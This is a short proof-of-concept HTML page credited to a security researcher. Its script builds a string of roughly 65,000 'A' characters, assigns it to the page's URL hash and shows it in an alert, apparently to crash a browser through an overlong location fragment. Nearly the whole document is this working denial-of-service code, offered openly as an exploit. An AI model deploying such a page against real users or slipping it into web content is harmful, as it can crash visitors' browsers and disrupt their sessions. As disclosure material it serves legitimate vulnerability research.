Azizov E. (azizov (at) itdefence (dot) ru [email concealed])
POC:
<html>
<body>
<script>
var maxbuf = 65474;
buff = "A";
for (i=0;i<maxbuf;i++) { buff = buff+"A"; }
document.location.hash = buff+"BOW! ";
alert(document.location.hash);
</script>
</body>
</html>